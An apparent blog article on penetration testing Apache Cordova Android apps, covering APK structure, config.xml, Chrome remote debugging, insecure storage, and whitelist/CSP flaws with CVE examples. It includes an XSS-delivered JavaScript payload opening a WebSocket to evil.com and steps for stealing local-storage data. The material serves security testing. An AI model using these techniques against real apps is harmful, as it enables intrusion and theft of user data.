In recent times, it has become more convenient for smartphone users to use a mobile application instead of browsing a website. If any organization wants to reach a larger customer base, they must provide a mobile application experience to their users.
In this article, we will discuss Apache Cordova application-specific penetration test cases that we can perform during application assessment. We will focus only on Apache Cordova-specific test cases however, common mobile application pentest cases should be utilized along with these out-of-box test cases.
Prerequisites
It is assumed that the reader has prior knowledge of the following:
- Basics of Android applications. Below are some references to get started:
- Basics of HTML, CSS, and JavaScript.
- Introductory knowledge of Apache Cordova applications, and other cross-platform Android applications.
Why Apache Cordova?
What if any organization has to pack their’s Web application experience into a compact, lightweight Mobile app?
Apache Cordova allows an organization to convert its entire web application into a mobile application without needing to invest in mobile development separately.
What is Cordova Exactly?
Building a mobile application using web technologies like HTML, CSS, and JavaScript is made possible by the open-source framework Apache Cordova. Developers can publish their web-based applications through various app stores, including those for Android, iOS, Windows, Amazon Fire OS, Blackberry, Firefox OS, Ubuntu, and Tizen, among others, by packaging them as native mobile apps.
Further, Cordova provides a set of pre-built plugins that make it easy to access device hardware features such as a camera, accelerometer, and geolocation.
History of Apache Cordova
Apache Cordova was originally created by Nitobi in 2008 as PhoneGap but was later donated to the Apache Software Foundation and renamed Apache Cordova in 2011. With its ease of use and access to device hardware features, Cordova has enabled companies to quickly and easily create mobile applications that can be distributed on various app stores.
How is it Different from Other Hybrid or Cross-platform Applications?
One of the key differences between Apache Cordova and other hybrid or cross-platform frameworks is that Cordova uses a WebView to render the application’s user interface. The WebView is a native component that provides a web browsing context within the app, allowing developers to create app-like experiences using web technologies.
Using a standard API across several platforms, developers may use Apache Cordova plugins to access functions like the camera, GPS, and contacts on the device. As a result, developers may design experiences that mimic native ones without having to write platform-specific code.
Apache Cordova Application Recipe
Apache Cordova Application Architecture
The Apache Cordova framework creates a single screen-like activity in its native shell application. This activity consists of the WebView that occupies the entire device screen within the application.
The Apache Cordova application has three main components:
- WebView
Apache Cordova’s WebView component is a native component that is used to render the application’s user interface. It provides a web browsing context within the app, allowing developers to create app-like experiences using web technologies.
- Web App
The WebApp component contains the entire code for the application. It runs as a web app within a native mobile application, with the index.html file serving as the entry point and referencing any necessary resources such as CSS, JavaScript, and media files.
As seen in the above image, the Web App container has a crucial file called config.xml. This file is also called the global configuration file and many aspects of an app’s behavior can be controlled with this file.
- Plugins
Apache Cordova plugins are essential components of an application. They enable the use of the device’s camera, GPS, and contacts through a common API across different platforms. Apache Cordova offers pre-built plugins for easy access to these hardware features.
How to identify if an application is built using Apache Cordova?
- Decompile application using apktool.
- Goto
<appname>/assetsand here you will find a folder named www
3. Additionally, open the AndroidManifest.xml file and search for “Cordova”. If org.apache.cordovafound, the application is built using Apache Cordova.
Apache Cordova Application APK Structure
When you decompile the Apache Cordova application’s APK file, you will get the following structure.
CorodvaApp.apk/
├─ assets/
│ ├─ www/
│ │ ├─ css/
│ │ ├─ js/
│ │ ├─ plugins/
│ │ ├─ index.html
│ │ ├─ cordova_plugins.js
│ │ ├─ cordova.js
├─ META-INF/
├─ res/
│ ├─ xml/
│ │ ├─ config.xml
├─ AndroidManifest.xml
├─ classes.dex
├─ resources.arsc
We will discuss some of the essential files below:
- assets/: This directory contains all the assets that are necessary within the application. The assets folder can also contain other resources specific to your application, such as icons, splash screens, and other images.
- www/: The
www/directory is the heart of the Apache Cordova applications. It contains all the core logic, resources, plugins, media files, and more. The directory is where the HTML, CSS, JavaScript, images, and other assets that make up the app’s user interface and logic are located. It’s the root directory of the web application and the files that will be loaded into the web view of the Cordova app. - plugins/: The plugins directory in an Apache Cordova project contains the source code for the plugins installed in the project. Plugins provide additional functionality to an Apache Cordova app, such as device hardware access or third-party services integration.
- index.html: The
index.htmlfile is the application’s primary entry point in an Apache Cordova project. This file loads any necessary scripts and stylesheets and determines the user interface’s structure. The index.html file is loaded and shown in the application’s web view when running on a device. - cordova_plugins.js: A JavaScript file generated by Apache Cordova during the build process provides an interface to all plugins installed in the application. This file lists the installed plugins, their version numbers, and metadata.
- cordova.js: This JavaScript library creates a connection between web apps and native device platforms.
- config.xml: The config.xml file in an Apache Cordova application is an important configuration file that defines various settings and preferences for the app. It is located in the
/res/xml/config.xmlof decompiled APK. This file is the heart and soul of the Apache Cordova application. It defines several aspects of Apache Cordova applications, such as plugins used, custom hooks, whitelisted domains and CSP, and various application-related configurations.
Dissecting config.xml File
config.xml is the main configuration file that defines several aspects of the Apache Cordova application, like enabled plugins, platform-specific settings, and a list of custom hooks. We need to look into the config.xml file to understand the application’s configuration and figure out weak points and loose ends.
When building an Apache Cordova APK, the config.xml file is included in the root of the APK package, along with the app’s source code, assets, and resources. However, this file is located in the /res/xml/ directory of decompiled Cordova project.
Example config.xml file:
<?xml version='1.0' encoding='utf-8'?>
<widget id="com.example.myapp" version="1.0.0" xmlns="<http://www.w3.org/ns/widgets>" xmlns:cdv="<http://cordova.apache.org/ns/1.0>">
<name>My App</name>
<description>Sample Cordova app</description>
<author email="[email protected]" href="<http://xzybank.com>">XZY Banks</author>
<content src="index.html" />
<access origin="*" />
<preference name="DisallowOverscroll" value="true" />
<preference name="Orientation" value="portrait" />
<preference name="Fullscreen" value="true" />
<preference name="HideKeyboardFormAccessoryBar" value="true" />
<feature name="<http://api.phonegap.com/1.0/network>"/>
<engine name="android" spec="~6.2.3" />
<engine name="ios" spec="~4.5.4" />
<engine name="browser" spec="~5.0.1" />
<plugin name="cordova-plugin-camera" spec="~4.0.2" />
<plugin name="cordova-plugin-geolocation" spec="~2.4.3" />
<plugin name="cordova-plugin-file" spec="~6.0.1" />
</widget>The config.xml file contains several elements, including:
- widget: The root element of the file that defines the app’s ID, version, and namespace.
- name: The name of the app.
- description: A description of the app.
- content: The entry point for the app.
- access: A list of domains that the app is allowed to access.
- preference: A set of preferences that control the app’s behaviour.
- feature: A list of Apache Cordova features that the app requires.
- plugin: A list of Apache Cordova plugins that the app requires.
These elements can be used to control many aspects of the app, such as its name, description, permissions, and behavior.
Debugging Apache Cordova Applications
As mentioned earlier, Apache Cordova applications are written in HTML and JS. All the assets such as scripts, images, and CSS are present in the assets/ folder of the package. When installed, the application uses the device’s in-built WebView to fetch resources and make communication to the backend server. Since Apache Cordova applications use WebView to render content in the browser, we can debug the Apache Cordova application in Chrome’s developer tools.
For debugging the Apache Cordova application, Search for setWebContentsDebuggingEnabled in org.apache.cordova.SystemWebEngine If it’s set to true then debugging is possible.
Note: During our research, we found that most of the Apache Cordova applications have this configuration set to true. It might be either by default, or it might be the developer’s choice to keep it as it is. Nonetheless, you can modify the smali code of the application to change the value to true in case it is already set to false.
Debug the Apache Cordova Application on Chrome
If setWebContentsDebuggingEnabled is set to true, the Apache Cordova application automatically gets attached to Chrome’s debugger. Below are the steps to debug the application:
- Open the Cordova application on the device.
- Open Chrome on the host system and open the following URL:
chrome://inspect/#devices
- In the “Remote Target” section, you will find the device entry along with the application package name.
- Here you will see various options such as “inspect, pause, trace”. We are interested in the “inspect” option.
- Once you click on the “inspect” option, developer tools will get opened for our Cordova application.
- Here you can analyze and debug the scripts, and plugins, and add breakpoints to the entire logic of the application.
Intercept Network Traffic Using Remote Debugging
As we attach our app to a remote debugger, we can also monitor network traffic as well via developer tools. The “Network” tab in the developer tools is the place where all ongoing HTTP requests/responses can be intercepted and accessed.
- Open the Apache Cordova application and attach the app to Chrome’s remote debugger, as mentioned in the previous section.
- Click on “inspect” which opens Developers tools. Navigate to the “Network” tab.
- Perform any action in the application that sends an HTTP request, and that request will be captured in the Network tab of the developer tools.
This way, we can monitor, intercept, and modify all the network traffic of the Apache Cordova applications even if SSL certificate pinning is implemented in the application.
Insecure Storage of Sensitive Information
Sensitive Information Stored in the Local Storage of the Browser
Apache Cordova apps use storage API to store data on the client side. This improves app usage and performance when offline. However, it also has the downside of revealing sensitive information with the remote debugger.
Consider a scenario,
- XZY bank’s mobile banking application asks users to log in for the first time. After login, the application stores some sensitive information about the user in the WebView browser’s local storage.
- The attacker has physical access to the victim’s device.
- The attacker attaches the XYZ Cordova application to the remote debugger go to the “Application” tab in developer tools.
- Further, the attacker can access the contents of “Local Storage”.
- The attacker grabs the sensitive information stored in the local storage of the WebView browser, which was stored by the XYZ application. This information also can be stolen with other vulnerabilities such as insecure whitelisting of domains, XSS, insecure CSP, etc.
Hardcoded Sensitive Information in the config.xml File
Developers find it easy to store stuff in config.xml files directly in plaintext. Thus, we can find hardcoded sensitive information in the config.xml file.
Insecure CSP and Whitelist Implementation
Unrestricted Access:
The Cordova-plugin-whitelist plugin implements a whitelist in Apache Cordova apps, but sometimes developers don’t use it. This lets external domains access the app without restrictions through Apache Cordova’s WebView requests.
Insecure Whitelisted Domains:
The Cordova-plugin-whitelist plugin restricts network access to authorized domains only. This enhances security by preventing unauthorized requests. By default, Apache Cordova apps only allow requests to the app’s origin domain.
We need to check the whitelist configuration to leverage the attack surface against vague and overly permissive whitelisted domains. The <access origin="*" /> element in config.xml contains whitelisted domains that applications have implemented.
The <allow-navigation href="*" /> element allows navigation to all URLs within the app. Again, you can customize it to allow navigation to specific URLs if required.
For instance, in the above CSP configuration, if any subdomain https://*.pusher.com is vulnerable to any vulnerability, or the attacker entirely has control over any subdomain; he can serve malicious content via Apache Cordova applications.
Insecure CSP Implementation:
The plugin also provides support for Content Security Policy (CSP) policies, which are crucial for protecting against cross-site scripting (XSS) vulnerabilities. This is particularly important because the whitelist filters do not apply to WebSocket connections and the HTML5 <video> tag. By implementing CSP, additional layers of security can be enforced to mitigate these potential risks.
For instance, the above CSP implementation has the following issues:
- Overly permissive WebSocket domains:
This implementation of CSP for WebSocket is overly permissive as the connect-src '*' ws: wss: Policy allows connections to any domain or URL (*) over WebSocket’s (ws: and wss:). Allowing connections to any domain can potentially expose your application to security risks, as it allows arbitrary network connections.
- Use of unsafe-inline for script execution:
The script-src ‘unsafe-inline’ policy allows inline scripts to be executed. Allowing unsafe-inline bypasses the protection against certain types of code injection attacks, such as Cross-Site Scripting (XSS). It’s generally recommended to avoid using unsafe-inline and instead use external script files.
Interesting CVE Exploits of Apache Cordova and its Plugins
Apache Cordova apps are packed with plugins that extend functionality, including access to device features such as the camera, geolocation, contacts, and notifications. However, these plugins also have vulnerabilities, which we will review by looking at identified CVEs.
CVE-2012-6637: Domain Whitelist Bypass
Apache Cordova 3.3.0 and earlier and Adobe PhoneGap 2.9.0 and earlier do not anchor the end of domain-name regular expressions, which allows remote attackers to bypass a whitelist protection mechanism via a domain name that contains an acceptable name as an initial substring.
A malicious script inside an iframe can use PhoneGap’s vulnerable bridge mechanisms (such as addJavascriptInterface or loadUrl on Android) to bypass the domain whitelist. This is called the chosen-bridge attack.
PhoneGap’s whitelisting check on Android is incorrect – it misses an anchor at the end of the regular expression: this.whiteList.add(Pattern.compile("ˆhttps?://(.*\\\\.)?" + origin)); For example, if foo.com is whitelisted, foo.com.evil.com will pass the check.
Read More:
- https://packetstormsecurity.com/files/124954/apachecordovaphonegap-bypass.txt
- https://www.cvedetails.com/cve/CVE-2012-6637/
CVE-2014-3500: The Cordova XAS Vulnerability
Android applications built with the Apache Cordova framework can be launched through a special intent URL. A specially crafted URL could cause the Apache Cordova-based application to start up with a different start page than the developer intended, including other HTML content stored on the Android device. This has been the case in all released versions of Apache Cordova up to 3.5.0 and has been fixed in the latest release (3.5.1). We recommend that affected projects update their applications to the latest release.
The vulnerability-targeted Cross-Application Scripting (XAS) allows an attacker to run malicious JavaScript code within another vulnerable Apache Cordova application. This could lead to unauthorized access, data manipulation, or even complete compromise of the application.
Read More:
CVE-2014-3501: Cordova Whitelist Bypass for Non-HTTP URLs
Android applications built with the Apache Cordova framework use a WebView component to render content. Apache Cordova applications can implement a whitelist of URLs which the application will be allowed to render inside the WebView or to communicate with via XMLHttpRequest. This whitelist, however, is not used by the WebView component when it is directed via JavaScript to communicate over non-HTTP channels such as WebSocket.
It was possible to open a WebSocket connection from the application JavaScript which will connect to any malicious server on the Internet. Suppose an attacker is able to execute arbitrary JavaScript within the application. In that case, that attacker can force the Cordova application to create a connection to be opened to a server controlled by him, bypassing the HTTP whitelist for allowed domains. This is a general limitation of the hybrid app architecture on Android, and not specific to Apache Cordova.
Here’s how it can be exploited.
- Apache Cordova application sets the following domains in the whitelist:
- Attacker identifies XSS vulnerability in “https://bookface.com”
- An attacker creates a malicious JavaScript payload containing an XHR request to establish a WebSocket connection to evil.com and serves this payload to the victim Cordova app via XSS vulnerability.
var socket = new WebSocket('ws://evil.com/socket');
socket.onopen = function() {
console.log('WebSocket connection opened');
};
socket.onmessage = function(event) {
console.log('Received message from server:', event.data);
};
socket.onclose = function() {
console.log('WebSocket connection closed');
};
socket.onerror = function(error) {
console.error('WebSocket error:', error);
};
- This malicious XSS payload gets executed into the Cordova application as the “https://bookface.com” domain is whitelisted.
- Victim’s Cordova application establishes a WebSocket connection to the attacker’s server.
Conclusion:
Apache Cordova is a powerful framework for building cross-platform mobile applications using web technologies. However, it also comes with various loopholes that attackers can exploit. It is crucial to consider the security implications and conduct thorough penetration testing to identify and address potential vulnerabilities.
References:
- https://www.geeksforgeeks.org/what-is-apache-cordova/
- https://cordova.apache.org/docs/en/10.x/guide/overview/
- https://www.appknox.com/security/debugging-cordova-applications
- https://research.securitum.com/security-problems-of-apache-cordova-steal-the-entire-contents-of-the-phone_s-memory-card-with-one-xss/
- https://blog.ostorlab.co/testing-cordova-applications.html
